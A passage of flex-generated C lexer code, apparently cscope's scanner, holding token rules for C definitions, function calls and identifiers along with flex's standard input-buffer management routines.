if (braces == externalbraces) {
externalbraces = -1;
external = FALSE;
}
structfield = FALSE;
initializer = FALSE;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 25:
YY_RULE_SETUP
#line 437 "scanner.l"
{
/* preprocessor macro or constant definition */
ppdefine = TRUE;
token = DEFINE;
if (settings.compressDisable == FALSE) {
my_yytext[0] = '\1'; /* compress the keyword */
}
findident:
/* search backwards through yytext[] to find the identifier */
/* NOTE: this had better be left to flex, by use of
* yet another starting condition */
my_yymore();
first = my_yyleng - 1;
while (my_yytext[first] != ' ' && my_yytext[first] != '\t') {
--first;
}
++first;
last = my_yyleng;
BEGIN(INITIAL);
goto definition;
/* NOTREACHED */
}
YY_BREAK
case 26:
/* rule 26 can match eol */
YY_RULE_SETUP
#line 460 "scanner.l"
{ /* unknown preprocessor line */
BEGIN(INITIAL);
++myylineno;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 27:
#line 467 "scanner.l"
case 28:
YY_RULE_SETUP
#line 467 "scanner.l"
{ /* unknown preprocessor line */
BEGIN(INITIAL);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 29:
/* rule 29 can match eol */
YY_RULE_SETUP
#line 473 "scanner.l"
{ /* class definition */
classdef = TRUE;
tagdef = 'c';
yyless(5); /* eat up 'class', and re-scan */
yy_set_bol(0);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 30:
YY_RULE_SETUP
#line 482 "scanner.l"
{
ident_start = first;
BEGIN(WAS_ESU);
goto more;
}
YY_BREAK
case 31:
/* rule 31 can match eol */
YY_RULE_SETUP
#line 488 "scanner.l"
{ /* e/s/u definition */
tagdef = my_yytext[ident_start];
BEGIN(WAS_IDENTIFIER);
goto ident;
}
YY_BREAK
case 32:
/* rule 32 can match eol */
YY_RULE_SETUP
#line 493 "scanner.l"
{ /* e/s/u definition without a tag */
tagdef = my_yytext[ident_start];
BEGIN(INITIAL);
if (braces == 0) {
esudef = TRUE;
}
last = first;
yyless(0); /* re-scan all this as normal text */
tagdef = '\0';
goto more;
}
YY_BREAK
case 33:
/* rule 33 can match eol */
#line 505 "scanner.l"
case 34:
/* rule 34 can match eol */
YY_RULE_SETUP
#line 505 "scanner.l"
{ /* e/s/u usage */
BEGIN(WAS_IDENTIFIER);
goto ident;
}
YY_BREAK
case 35:
/* rule 35 can match eol */
YY_RULE_SETUP
#line 511 "scanner.l"
{ /* ignore 'if' */
yyless(2);
yy_set_bol(0);
goto more;
}
YY_BREAK
case 36:
YY_RULE_SETUP
#line 517 "scanner.l"
{ /* identifier found: do nothing, yet. (!) */
BEGIN(WAS_IDENTIFIER);
ident_start = first;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 37:
/* rule 37 can match eol */
YY_RULE_SETUP
#line 525 "scanner.l"
{
/* a function definition */
/* note: "#define a (b) {" and "#if defined(a)\n#"
* are not fcn definitions! */
/* warning: "if (...)" must not overflow yytext,
* so the content of function argument definitions
* is restricted, in particular parentheses are
* not allowed */
/* FIXME HBB 20001003: the above 'not allowed' may well be the
* reason for the parsing bug concerning function pointer usage,
* I suspect. --- I think my new special-case rule for 'if'
* could be helpful in removing that limitation */
if ((braces == 0 && ppdefine == FALSE && my_yytext[0] != '#' && rules == FALSE) ||
(braces == 1 && classdef == TRUE)) {
fcndef = TRUE;
token = FCNDEF;
goto fcn;
/* NOTREACHED */
}
goto fcncal;
/* NOTREACHED */
}
YY_BREAK
case 38:
/* rule 38 can match eol */
YY_RULE_SETUP
#line 547 "scanner.l"
{ /* function call */
fcncal: if (fcndef == TRUE || ppdefine == TRUE || rules == TRUE) {
token = FCNCALL;
goto fcn;
/* NOTREACHED */
}
if (template == FALSE) {
templateparens = parens;
template = TRUE;
}
goto ident;
/* NOTREACHED */
}
YY_BREAK
case 39:
/* rule 39 can match eol */
YY_RULE_SETUP
#line 560 "scanner.l"
{ /* typedef name or modifier use */
goto ident;
/* NOTREACHED */
}
YY_BREAK
case 40:
/* rule 40 can match eol */
YY_RULE_SETUP
#line 564 "scanner.l"
{ /* general identifer usage */
char *s;
if (global == TRUE && ppdefine == FALSE && my_yytext[0] != '#' &&
external == FALSE && initializer == FALSE &&
arraydimension == FALSE && structfield == FALSE &&
template == FALSE && fcndef == FALSE) {
if (esudef == TRUE) {
/* if enum/struct/union */
token = MEMBERDEF;
} else {
token = GLOBALDEF;
}
} else {
ident:
token = IDENT;
}
fcn:
if (YYSTATE == WAS_IDENTIFIER) {
/* Position back to the actual identifier: */
last = first;
first = ident_start;
yyless(0);
/* HBB 20001008: if the anti-backup-pattern above matched,
* and the matched context ended with a \n, then the scanner
* believes it's at the start of a new line. But the yyless()
* should feeds that \n back into the input, so that's
* wrong. --> force 'beginning-of-line' status off. */
yy_set_bol(0);
BEGIN(INITIAL);
} else {
my_yymore();
last = my_yyleng;
}
definition:
/* if a long line */
if (yyleng > STMTMAX) {
int c;
/* skip to the end of the line */
warning("line too long");
while ((c = input()) > LEXEOF) {
if (c == '\n') {
unput(c);
break;
}
}
}
/* truncate a long symbol */
if (yyleng > PATLEN) {
warning("symbol too long");
my_yyleng = first + PATLEN;
my_yytext[my_yyleng] = '\0';
}
/* if found word was a keyword: */
if ((s = lookup(my_yytext + first)) != NULL) {
first = my_yyleng;
/* if the start of a typedef */
if (s == typedeftext) {
typedefbraces = braces;
oldtype = TRUE;
}
/* if an enum/struct/union */
/* (needed for "typedef struct tag name;" so
tag isn't marked as the typedef name) */
else if (s == enumtext || s == structtext || s == uniontext) {
/* do nothing */
} else if (s == externtext) {
/* if an external definition */
externalbraces = braces;
external = TRUE;
} else if (templateparens == parens && template == TRUE) {
/* keyword doesn't start a function
* template */
templateparens = -1;
template = FALSE;
} else {
/* identifier after typedef was a
* keyword */
oldtype = FALSE;
}
} else {
/* not a keyword --> found an identifier */
/* last = yyleng; */
/* if a class/enum/struct/union tag definition */
/* FIXME HBB 20001001: why reject "class"? */
if (tagdef && STRNOTEQUAL(my_yytext + first, "class")) {
token = tagdef;
tagdef = '\0';
if (braces == 0) {
esudef = TRUE;
}
} else if (braces == typedefbraces && oldtype == FALSE &&
arraydimension == FALSE) {
/* if a typedef name */
token = TYPEDEF;
} else {
oldtype = FALSE;
}
/* my_yymore(); */
return(token);
/* NOTREACHED */
}
}
YY_BREAK
case 41:
YY_RULE_SETUP
#line 674 "scanner.l"
{ /* array dimension (don't worry or about subscripts) */
arraydimension = TRUE;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 42:
YY_RULE_SETUP
#line 679 "scanner.l"
{
arraydimension = FALSE;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 43:
/* rule 43 can match eol */
YY_RULE_SETUP
#line 684 "scanner.l"
{ /* preprocessor statement is continued on next line */
/* save the '\\' to the output file, but not the '\n': */
yyleng = 1;
my_yymore();
goto eol;
/* NOTREACHED */
}
YY_BREAK
case 44:
/* rule 44 can match eol */
YY_RULE_SETUP
#line 691 "scanner.l"
{ /* end of the line */
if (ppdefine == TRUE) { /* end of a #define */
ppdefine = FALSE;
yyless(yyleng - 1);
last = first;
my_yymore();
return(DEFINEEND);
}
/* skip the first 8 columns of a breakpoint listing line */
/* and skip the file path in the page header */
if (bplisting == TRUE) {
int c, i;
/* FIXME HBB 20001007: should call input() instead */
switch (input()) { /* tab and EOF just fall through */
case ' ': /* breakpoint number line */
case '[':
for (i = 1; i < 8 && input() > LEXEOF; ++i)
;
break;
case '.': /* header line */
case '/':
/* skip to the end of the line */
while ((c = input()) > LEXEOF) {
if (c == '\n') {
unput(c);
break;
}
}
break;
case '\n': /* empty line */
unput('\n');
break;
}
}
eol:
++myylineno;
first = 0;
last = 0;
if (symbols > 0) {
/* no my_yymore(): \n doesn't need to be in my_yytext */
return(NEWLINE);
}
/* line ended --> flush my_yytext */
if (my_yytext)
*my_yytext = '\0';
my_yyleng = 0;
lineno = myylineno;
}
YY_BREAK
case 45:
YY_RULE_SETUP
#line 741 "scanner.l"
{ /* character constant */
if (sdl == FALSE)
BEGIN(IN_SQUOTE);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 46:
YY_RULE_SETUP
#line 747 "scanner.l"
{
BEGIN(INITIAL);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 47:
YY_RULE_SETUP
#line 752 "scanner.l"
{ /* string constant */
BEGIN(IN_DQUOTE);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 48:
YY_RULE_SETUP
#line 757 "scanner.l"
{
BEGIN(INITIAL);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 49:
/* rule 49 can match eol */
YY_RULE_SETUP
#line 763 "scanner.l"
{ /* syntax error: unexpected EOL */
BEGIN(INITIAL);
goto eol;
/* NOTREACHED */
}
YY_BREAK
case 50:
#line 769 "scanner.l"
case 51:
YY_RULE_SETUP
#line 769 "scanner.l"
{
goto more;
/* NOTREACHED */
}
YY_BREAK
case 52:
/* rule 52 can match eol */
YY_RULE_SETUP
#line 773 "scanner.l"
{ /* line continuation inside a string! */
myylineno++;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 53:
YY_RULE_SETUP
#line 780 "scanner.l"
{ /* don't save leading white space */
}
YY_BREAK
case 54:
/* rule 54 can match eol */
YY_RULE_SETUP
#line 783 "scanner.l"
{ /* eat whitespace at end of line */
unput('\n');
}
YY_BREAK
case 55:
YY_RULE_SETUP
#line 787 "scanner.l"
{ /* eat non-blank whitespace sequences, replace
* by single blank */
unput(' ');
}
YY_BREAK
case 56:
YY_RULE_SETUP
#line 792 "scanner.l"
{ /* compress sequential whitespace here, not in putcrossref() */
unput(' ');
}
YY_BREAK
case 57:
YY_RULE_SETUP
#line 796 "scanner.l"
yy_push_state(COMMENT);
YY_BREAK
case 58:
#line 799 "scanner.l"
case 59:
YY_RULE_SETUP
#line 799 "scanner.l"
; /* do nothing */
YY_BREAK
case 60:
/* rule 60 can match eol */
#line 801 "scanner.l"
case 61:
/* rule 61 can match eol */
YY_RULE_SETUP
#line 801 "scanner.l"
{
if (ppdefine == FALSE) {
goto eol;
} else {
++myylineno;
}
/* NOTREACHED */
}
YY_BREAK
case 62:
YY_RULE_SETUP
#line 809 "scanner.l"
{
/* replace the comment by a single blank */
unput(' ');
yy_pop_state();
}
YY_BREAK
case 63:
/* rule 63 can match eol */
YY_RULE_SETUP
#line 816 "scanner.l"
{
/* C++-style one-line comment */
goto eol;
/* NOTREACHED */
}
YY_BREAK
case 64:
#line 823 "scanner.l"
case 65:
#line 824 "scanner.l"
case 66:
YY_RULE_SETUP
#line 824 "scanner.l"
{ /* punctuation and operators */
more:
my_yymore();
first = my_yyleng;
}
YY_BREAK
case 67:
YY_RULE_SETUP
#line 830 "scanner.l"
ECHO;
YY_BREAK
#line 2411 "scanner.c"
case YY_STATE_EOF(INITIAL):
case YY_STATE_EOF(SDL):
case YY_STATE_EOF(IN_PREPROC):
case YY_STATE_EOF(WAS_ENDIF):
case YY_STATE_EOF(WAS_IDENTIFIER):
case YY_STATE_EOF(WAS_ESU):
case YY_STATE_EOF(IN_DQUOTE):
case YY_STATE_EOF(IN_SQUOTE):
case YY_STATE_EOF(COMMENT):
yyterminate();
case YY_END_OF_BUFFER:
{
/* Amount of text matched not including the EOB char. */
int yy_amount_of_matched_text = (int) (yy_cp - (yytext_ptr)) - 1;
/* Undo the effects of YY_DO_BEFORE_ACTION. */
*yy_cp = (yy_hold_char);
YY_RESTORE_YY_MORE_OFFSET
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW )
{
/* We're scanning a new file or input source. It's
* possible that this happened because the user
* just pointed yyin at a new source and called
* yylex(). If so, then we have to assure
* consistency between YY_CURRENT_BUFFER and our
* globals. Here is the right place to do so, because
* this is the first action (other than possibly a
* back-up) that will match for the new input source.
*/
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
YY_CURRENT_BUFFER_LVALUE->yy_input_file = yyin;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL;
}
/* Note that here we test for yy_c_buf_p "<=" to the position
* of the first EOB in the buffer, since yy_c_buf_p will
* already have been incremented past the NUL character
* (since all states make transitions on EOB to the
* end-of-buffer state). Contrast this with the test
* in input().
*/
if ( (yy_c_buf_p) <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
{ /* This was really a NUL. */
yy_state_type yy_next_state;
(yy_c_buf_p) = (yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
/* Okay, we're now positioned to make the NUL
* transition. We couldn't have
* yy_get_previous_state() go ahead and do it
* for us because it doesn't know how to deal
* with the possibility of jamming (and we don't
* want to build jamming into it because then it
* will run more slowly).
*/
yy_next_state = yy_try_NUL_trans( yy_current_state );
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
if ( yy_next_state )
{
/* Consume the NUL. */
yy_cp = ++(yy_c_buf_p);
yy_current_state = yy_next_state;
goto yy_match;
}
else
{
yy_cp = (yy_c_buf_p);
goto yy_find_action;
}
}
else switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_END_OF_FILE:
{
(yy_did_buffer_switch_on_eof) = 0;
if ( yywrap( ) )
{
/* Note: because we've taken care in
* yy_get_next_buffer() to have set up
* yytext, we can now set up
* yy_c_buf_p so that if some total
* hoser (like flex itself) wants to
* call the scanner after we return the
* YY_NULL, it'll still work - another
* YY_NULL will get returned.
*/
(yy_c_buf_p) = (yytext_ptr) + YY_MORE_ADJ;
yy_act = YY_STATE_EOF(YY_START);
goto do_action;
}
else
{
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
}
break;
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) =
(yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_match;
case EOB_ACT_LAST_MATCH:
(yy_c_buf_p) =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)];
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_find_action;
}
break;
}
default:
YY_FATAL_ERROR(
"fatal flex scanner internal error--no action found" );
} /* end of action switch */
} /* end of scanning one token */
} /* end of yylex */
/* yy_get_next_buffer - try to read in a new buffer
*
* Returns a code representing an action:
* EOB_ACT_LAST_MATCH -
* EOB_ACT_CONTINUE_SCAN - continue scanning from current position
* EOB_ACT_END_OF_FILE - end of file
*/
static int yy_get_next_buffer (void)
{
register char *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf;
register char *source = (yytext_ptr);
register int number_to_move, i;
int ret_val;
if ( (yy_c_buf_p) > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] )
YY_FATAL_ERROR(
"fatal flex scanner internal error--end of buffer missed" );
if ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 )
{ /* Don't try to fill the buffer, so this is an EOF. */
if ( (yy_c_buf_p) - (yytext_ptr) - YY_MORE_ADJ == 1 )
{
/* We matched a single character, the EOB, so
* treat this as a final EOF.
*/
return EOB_ACT_END_OF_FILE;
}
else
{
/* We matched some text prior to the EOB, first
* process it.
*/
return EOB_ACT_LAST_MATCH;
}
}
/* Try to read more data. */
/* First move last chars to start of buffer. */
number_to_move = (int) ((yy_c_buf_p) - (yytext_ptr)) - 1;
for ( i = 0; i < number_to_move; ++i )
*(dest++) = *(source++);
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING )
/* don't do the read, it's not guaranteed to return an EOF,
* just force an EOF
*/
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars) = 0;
else
{
int num_to_read =
YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
while ( num_to_read <= 0 )
{ /* Not enough room in the buffer - grow it. */
/* just a shorter name for the current buffer */
YY_BUFFER_STATE b = YY_CURRENT_BUFFER;
int yy_c_buf_p_offset =
(int) ((yy_c_buf_p) - b->yy_ch_buf);
if ( b->yy_is_our_buffer )
{
int new_size = b->yy_buf_size * 2;
if ( new_size <= 0 )
b->yy_buf_size += b->yy_buf_size / 8;
else
b->yy_buf_size *= 2;
b->yy_ch_buf = (char *)
/* Include room in for 2 EOB chars. */
yyrealloc((void *) b->yy_ch_buf,b->yy_buf_size + 2 );
}
else
/* Can't grow it, we don't own it. */
b->yy_ch_buf = 0;
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR(
"fatal error - scanner input buffer overflow" );
(yy_c_buf_p) = &b->yy_ch_buf[yy_c_buf_p_offset];
num_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size -
number_to_move - 1;
}
if ( num_to_read > YY_READ_BUF_SIZE )
num_to_read = YY_READ_BUF_SIZE;
/* Read in more data. */
YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]),
(yy_n_chars), (size_t) num_to_read );
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
if ( (yy_n_chars) == 0 )
{
if ( number_to_move == YY_MORE_ADJ )
{
ret_val = EOB_ACT_END_OF_FILE;
yyrestart(yyin );
}
else
{
ret_val = EOB_ACT_LAST_MATCH;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status =
YY_BUFFER_EOF_PENDING;
}
}
else
ret_val = EOB_ACT_CONTINUE_SCAN;
if ((yy_size_t) ((yy_n_chars) + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) {
/* Extend the array by 50%, plus the number we really need. */
yy_size_t new_size = (yy_n_chars) + number_to_move + ((yy_n_chars) >> 1);
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) yyrealloc((void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf,new_size );
if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" );
}
(yy_n_chars) += number_to_move;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] = YY_END_OF_BUFFER_CHAR;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] = YY_END_OF_BUFFER_CHAR;
(yytext_ptr) = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0];
return ret_val;
}
/* yy_get_previous_state - get the state just before the EOB char was reached */
static yy_state_type yy_get_previous_state (void)
{
register yy_state_type yy_current_state;
register char *yy_cp;
yy_current_state = (yy_start);
yy_current_state += YY_AT_BOL();
for ( yy_cp = (yytext_ptr) + YY_MORE_ADJ; yy_cp < (yy_c_buf_p); ++yy_cp )
{
register YY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1);
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 318 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
}
return yy_current_state;
}
/* yy_try_NUL_trans - try to make a transition on the NUL character
*
* synopsis
* next_state = yy_try_NUL_trans( current_state );
*/
static yy_state_type yy_try_NUL_trans (yy_state_type yy_current_state )
{
register int yy_is_jam;
register char *yy_cp = (yy_c_buf_p);
register YY_CHAR yy_c = 1;
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 318 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
yy_is_jam = (yy_current_state == 317);
return yy_is_jam ? 0 : yy_current_state;
}
static void yyunput (int c, register char * yy_bp )
{
register char *yy_cp;
yy_cp = (yy_c_buf_p);
/* undo effects of setting up yytext */
*yy_cp = (yy_hold_char);
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
{ /* need to shift things up to make room */
/* +2 for EOB chars. */
register int number_to_move = (yy_n_chars) + 2;
register char *dest = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[
YY_CURRENT_BUFFER_LVALUE->yy_buf_size + 2];
register char *source =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move];
while ( source > YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
*--dest = *--source;
yy_cp += (int) (dest - source);
yy_bp += (int) (dest - source);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars =
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_buf_size;
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
YY_FATAL_ERROR( "flex scanner push-back overflow" );
}
*--yy_cp = (char) c;
(yytext_ptr) = yy_bp;
(yy_hold_char) = *yy_cp;
(yy_c_buf_p) = yy_cp;
}
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput (void)
#else
static int input (void)
#endif
{
int c;
*(yy_c_buf_p) = (yy_hold_char);
if ( *(yy_c_buf_p) == YY_END_OF_BUFFER_CHAR )
{
/* yy_c_buf_p now points to the character we want to return.
* If this occurs *before* the EOB characters, then it's a
* valid NUL; if not, then we've hit the end of the buffer.
*/
if ( (yy_c_buf_p) < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
/* This was really a NUL. */
*(yy_c_buf_p) = '\0';
else
{ /* need more input */
int offset = (yy_c_buf_p) - (yytext_ptr);
++(yy_c_buf_p);
switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_LAST_MATCH:
/* This happens because yy_g_n_b()
* sees that we've accumulated a
* token and flags that we need to
* try matching the token before
* proceeding. But for input(),
* there's no matching to consider.
* So convert the EOB_ACT_LAST_MATCH
* to EOB_ACT_END_OF_FILE.
*/
/* Reset buffer status. */
yyrestart(yyin );
/*FALLTHROUGH*/
case EOB_ACT_END_OF_FILE:
{
if ( yywrap( ) )
return EOF;
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
#ifdef __cplusplus
return yyinput();
#else
return input();
#endif
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) = (yytext_ptr) + offset;
break;
}
}
}
c = *(unsigned char *) (yy_c_buf_p); /* cast for 8-bit char's */
*(yy_c_buf_p) = '\0'; /* preserve yytext */
(yy_hold_char) = *++(yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_at_bol = (c == '\n');
return c;
}
#endif /* ifndef YY_NO_INPUT */
/** Immediately switch to a different input stream.
* @param input_file A readable stream.
*
* @note This function does not reset the start condition to @c INITIAL .
*/
void yyrestart (FILE * input_file )
{
if ( ! YY_CURRENT_BUFFER ){
yyensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
yy_create_buffer(yyin,YY_BUF_SIZE );
}
yy_init_buffer(YY_CURRENT_BUFFER,input_file );
yy_load_buffer_state( );
}
/** Switch to a different input buffer.
* @param new_buffer The new input buffer.
*
*/
void yy_switch_to_buffer (YY_BUFFER_STATE new_buffer )
{
/* TODO. We should be able to replace this entire function body
* with
* yypop_buffer_state();
* yypush_buffer_state(new_buffer);
*/
yyensure_buffer_stack ();
if ( YY_CURRENT_BUFFER == new_buffer )
return;
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
YY_CURRENT_BUFFER_LVALUE = new_buffer;
yy_load_buffer_state( );
/* We don't actually know whether we did this switch during
* EOF (yywrap()) processing, but the only time this flag
* is looked at is after yywrap() is called, so it's safe
* to go ahead and always set it.
*/
(yy_did_buffer_switch_on_eof) = 1;
}
static void yy_load_buffer_state (void)
{
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
(yytext_ptr) = (yy_c_buf_p) = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos;
yyin = YY_CURRENT_BUFFER_LVALUE->yy_input_file;
(yy_hold_char) = *(yy_c_buf_p);
}
/** Allocate and initialize an input buffer state.
* @param file A readable stream.
* @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE.
*
* @return the allocated buffer state.
*/
YY_BUFFER_STATE yy_create_buffer (FILE * file, int size )
{
YY_BUFFER_STATE b;
b = (YY_BUFFER_STATE) yyalloc(sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_buf_size = size;
/* yy_ch_buf has to be 2 characters longer than the size given because
* we need to put in 2 end-of-buffer characters.
*/
b->yy_ch_buf = (char *) yyalloc(b->yy_buf_size + 2 );
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_is_our_buffer = 1;
yy_init_buffer(b,file );
return b;
}
/** Destroy the buffer.
* @param b a buffer created with yy_create_buffer()
*
*/
void yy_delete_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
if ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */
YY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0;
if ( b->yy_is_our_buffer )
yyfree((void *) b->yy_ch_buf );
yyfree((void *) b );
}
#ifndef __cplusplus
extern int isatty (int );
#endif /* __cplusplus */
/* Initializes or reinitializes a buffer.
* This function is sometimes called more than once on the same buffer,
* such as during a yyrestart() or at EOF.
*/
static void yy_init_buffer (YY_BUFFER_STATE b, FILE * file )
{
int oerrno = errno;
yy_flush_buffer(b );
b->yy_input_file = file;
b->yy_fill_buffer = 1;
/* If b is the current buffer, then yy_init_buffer was _probably_
* called from yyrestart() or through yy_get_next_buffer.
* In that case, we don't want to reset the lineno or column.
*/
if (b != YY_CURRENT_BUFFER){
b->yy_bs_lineno = 1;
b->yy_bs_column = 0;
}
b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0;
errno = oerrno;
}
/** Discard all buffered characters. On the next scan, YY_INPUT will be called.
* @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER.
*
*/
void yy_flush_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
b->yy_n_chars = 0;
/* We always need two end-of-buffer characters. The first causes
* a transition to the end-of-buffer state. The second causes
* a jam in that state.
*/
b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;
b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;
b->yy_buf_pos = &b->yy_ch_buf[0];
b->yy_at_bol = 1;
b->yy_buffer_status = YY_BUFFER_NEW;
if ( b == YY_CURRENT_BUFFER )
yy_load_buffer_state( );
}
/** Pushes the new state onto the stack. The new state becomes
* the current state. This function will allocate the stack
* if necessary.
* @param new_buffer The new state.
*
*/
void yypush_buffer_state (YY_BUFFER_STATE new_buffer )
{
if (new_buffer == NULL)
return;
yyensure_buffer_stack();
/* This block is copied from yy_switch_to_buffer. */
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
/* Only push if top exists. Otherwise, replace top. */
if (YY_CURRENT_BUFFER)
(yy_buffer_stack_top)++;
YY_CURRENT_BUFFER_LVALUE = new_buffer;
/* copied from yy_switch_to_buffer. */
yy_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
/** Removes and deletes the top of the stack, if present.
* The next element becomes the new top.
*
*/
void yypop_buffer_state (void)
{
if (!YY_CURRENT_BUFFER)
return;
yy_delete_buffer(YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
if ((yy_buffer_stack_top) > 0)
--(yy_buffer_stack_top);
if (YY_CURRENT_BUFFER) {
yy_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
}
/* Allocates the stack if it does not exist.
* Guarantees space for at least one push.
*/
static void yyensure_buffer_stack (void)
{
int num_to_alloc;
if (!(yy_buffer_stack)) {
/* First allocation is just for 2 elements, since we don't know if this
* scanner will even need a stack. We use 2 instead of 1 to avoid an
* immediate realloc on the next call.
*/
num_to_alloc = 1;
(yy_buffer_stack) = (struct yy_buffer_state**)yyalloc
(num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
memset((yy_buffer_stack), 0, num_to_alloc * sizeof(struct yy_buffer_state*));
(yy_buffer_stack_max) = num_to_alloc;
(yy_buffer_stack_top) = 0;
return;
}
if ((yy_buffer_stack_top) >= ((yy_buffer_stack_max)) - 1){
/* Increase the buffer to prepare for a possible push. */
int grow_size = 8 /* arbitrary grow size */;
num_to_alloc = (yy_buffer_stack_max) + grow_size;
(yy_buffer_stack) = (struct yy_buffer_state**)yyrealloc
((yy_buffer_stack),
num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
/* zero only the new slots.*/
memset((yy_buffer_stack) + (yy_buffer_stack_max), 0, grow_size * sizeof(struct yy_buffer_state*));
